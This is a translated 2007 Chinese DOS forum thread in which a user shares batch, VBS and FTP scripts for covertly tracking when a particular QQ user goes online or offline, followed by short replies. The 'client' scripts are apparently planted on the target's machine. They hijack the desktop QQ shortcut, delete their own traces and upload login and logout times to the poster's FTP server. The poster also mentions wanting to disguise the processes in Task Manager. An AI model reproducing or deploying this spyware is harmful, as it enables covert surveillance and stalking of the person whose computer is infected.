中国DOS联盟论坛

China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --
Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
Guest | Log in | Register | Members | Search | China DOS Union
中国DOS联盟论坛
The time now is 2026-09-26 19:44
47,813 topics / 349,918 posts / today 0 new / 48,276 members
DOS批处理 & 脚本技术(批处理室) » Batch processing to detect whether a certain QQ number is online, and can also detect when it is invisible
Printable Version  2,184 / 11
Floor1 sweetdreamlan Posted 2007-10-26 01:40
中级用户 Posts 92 Credits 244
Writing this batch is purely for fun, with no technical content. Please don't be BT ^_^

The batch file that replaces QQ numbers in files uses the code of the moderator lxmxn... Hehe, I can't write it myself.

Originally, I wanted to change the filenames of ping.exe, find.exe, ftp.exe, etc. to make it not abnormal for the other party to check in the task manager, but I had difficulties when modifying the path of cmd.exe, so I didn't change it.

Client files:
____________________________
Click here to replace all text with QQ numbers.bat
\tihuan
Initialize bak.bat
QQbak.bat
QQ.vbs
Shortcut.exe shortcut creation EXE
sleep.exe delay
startbak
noicqbak
344536606onbak
344536606errorbak
344536606error2bak
344536606downbak
344536606down.txt
344536606error.txt
344536606exit.txt
344536606on.txt
Directory 344536606.txt not found
Please see instructions.txt
Already replaced.txt
__________________________________

Content of Initialize bak.bat

REM Find the directory where the QQ folder is located

:diskC
for /r c:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startC

:diskD
for /r d:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startD

:diskE
for /r e:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startE

:diskF
for /r f:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startF

:diskG
for /r g:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startG

:diskH
for /r h:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startH

:startC
if not exist "%qexepath%" goto diskD
goto next

:startD
if not exist "%qexepath%" goto diskE
goto next

:startE
if not exist "%qexepath%" goto diskF
goto next

:startF
if not exist "%qexepath%" goto :diskG
goto next

:startG
if not exist "%qexepath%" goto :DiskH
goto next

:startH
if not exist "%qexepath%" goto :no
goto next

If found, copy the file to the QQ directory
:next
copy qq.vbs "%qqpath%"
copy qq.bat "%qqpath%"
copy 344536606on "%qqpath%"
copy 344536606down "%qqpath%"
copy 344536606error "%qqpath%"
copy 344536606error2 "%qqpath%"
copy sleep.exe "%qqpath%"
ftp -s:start

REM Search for the QQ icon on the desktop and delete it, then create a new Q icon, the target is qq.vbs
for /r "%userprofile%\Desktop" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
for /r "%allusersprofile%\Desktop" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
Shortcut.exe /f:"%userprofile%\Desktop\QQ.lnk" /a:c /t:"%qqpath%\qq.vbs" /w:"%qqpath%" /i:"%qexepath%,0"

REM Delete all used files
del qq.vbs
del qq.bat
del sleep.exe
del Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del Directory 344536606.txt not found
del Initialize.bat
exit

REM If not found, return a report to ftp
:no
ftp -s:noicq
del qq.vbs
del qq.bat
del sleep.exe
Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del Directory 344536606.txt not found
del Initialize.bat


Content of QQ.bat
REM Use ewh.db in the QQ number file directory as the judgment for going online, and naccountservice.dat as the judgment for going offline
@echo off
del 344536606\ewh.db
del 344536606\naccountservice.dat
start qq.exe

REM Find ping.exe in the process, because if the cmd daemon is still there, running it again will cause an error,
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
ping -n 12 127.1 > nul
if not exist 344536606\ewh.db goto detect

:start
date /t > 344536606on.txt
time /t >> 344536606on.txt
ftp -s:344536606on

REM If ":" is found in 344536606exit.txt: it means the last run was completed, not kissed or restarted. If not found, upload the report
type 344536606exit.txt|find ":" && goto online
ftp -s:344536606error
date /t >> 344536606error.txt
time /t >> 344536606error.txt
ftp -s:344536606error2

REM Detect naccountservice.dat, if it exists, it means offline
:online
set qqpath="%cd%"
cd 344536606
dir|find "naccountservice.dat" && goto downline
cd /d "%qqpath%"
ping -n 6 127.1 > nul
goto online

:downline
cd /d "%qqpath%"
date /t > 344536606down.txt
time /t >> 344536606down.txt
time /t > 344536606exit.txt
ftp -s:344536606down
del 344536606down.txt
del 344536606exit.txt
exit

REM If ewh.db is not detected after opening QQ, continue to detect a few more times, because some people will go online after a while
:detect
set /a max=%max%+1
if %max%==6 exit
set qqpath2="%cd%"
cd 344536606
dir|find "ewh.db" && cd /d "%qqpath2%" && goto start
cd /d "%qqpath2%"
ping -n 6 127.1 > nul
goto detect



Server files:
_______________
Server.bat
Server
_______________

Content of Server.bat

@echo off
:loop
color 07
ftp -s:Server
cls
color 0a
type Directory 344536606.txt not found|find "QQ" && goto exit
type 344536606exit.txt|find ":" && goto no
cls
echo.
echo.
echo.
echo The other party is online...
echo.
echo.
echo The other party's last -- offline time: && type 344536606down.txt
echo.
echo.
echo The other party's this time -- online time: && type 344536606on.txt
echo.
echo.
echo The other party's recent abnormal exit records && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop

:no
cls
echo.
echo.
echo.
echo The other party is not online...
echo.
echo.
echo The other party's last -- online time: && type 344536606on.txt
echo.
echo.
echo The other party's last -- offline time: && type 344536606down.txt
echo.
echo.
echo The other party's recent abnormal exit records && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop

:exit
type Directory 344536606.txt not found
pause>nul


Content of Server
open xxx.xxx.xxx
username
password
cd wwwroot
get 344536606on.txt
get 344536606down.txt
get 344536606exit.txt
get 344536606error.txt
get Directory 344536606.txt not found
bye

Download
Client
Server

[ Last edited by sweetdreamlan on 2007-10-26 at 01:49 AM ]
Floor2 newyj Posted 2007-10-26 03:05
初级用户 Posts 16 Credits 41
Floor3 picat Posted 2007-10-26 10:08
初级用户 Posts 68 Credits 150
Is it also distinguish client and server? Can LZ tell us the specific process?
Floor4 sweetdreamlan Posted 2007-10-26 12:20
中级用户 Posts 92 Credits 244
The specific process, you can download and analyze the client and server, and then you'll know how it is by looking at the batch script. The batch script in it is very easy to understand.
Floor5 58795362 Posted 2007-12-13 16:26
初级用户 Posts 16 Credits 33
Not applicable, but still top
Floor6 luckboy45 Posted 2007-12-13 18:56
中级用户 Posts 212 Credits 487
Actually, you can just send him a video.... He will definitely scold you when he's online!~
Floor7 honghunter Posted 2007-12-22 09:39
中级用户 Posts 135 Credits 321
Basically, I didn't understand that. Why use FTP?
Floor8 451596753 Posted 2007-12-22 22:33
新手上路 Posts 3 Credits 5
If only there were no server side ~
Floor9 jefflo Posted 2007-12-23 13:18
初级用户 Posts 16 Credits 36
Oh, my goodness...
Directly use NETSTAT
Send a message to the other party, and then see if it's relayed through a Tencent server or sent directly to the other party's IP.
That is, as long as you know a few Tencent servers, use NETSTAT to check and judge. If it's sent to a Tencent server, it means the other party is not online
Floor10 zlb020 Posted 2007-12-28 15:38
新手上路 Posts 4 Credits 8
It would be nice if the person above could explain something.
Floor11 lotus516 Posted 2007-12-28 21:18
高级用户 Posts 246 Credits 551
It won't work on someone else's machine!
Floor12 czzz2005 Posted 2007-12-30 00:20
新手上路 Posts 3 Credits 6
Learning~! It's really rewarding to come here
[ Contact the Union admin team - 中国DOS联盟 - Standard version ]
Sponsored by ifanr Inc | © 2001–2023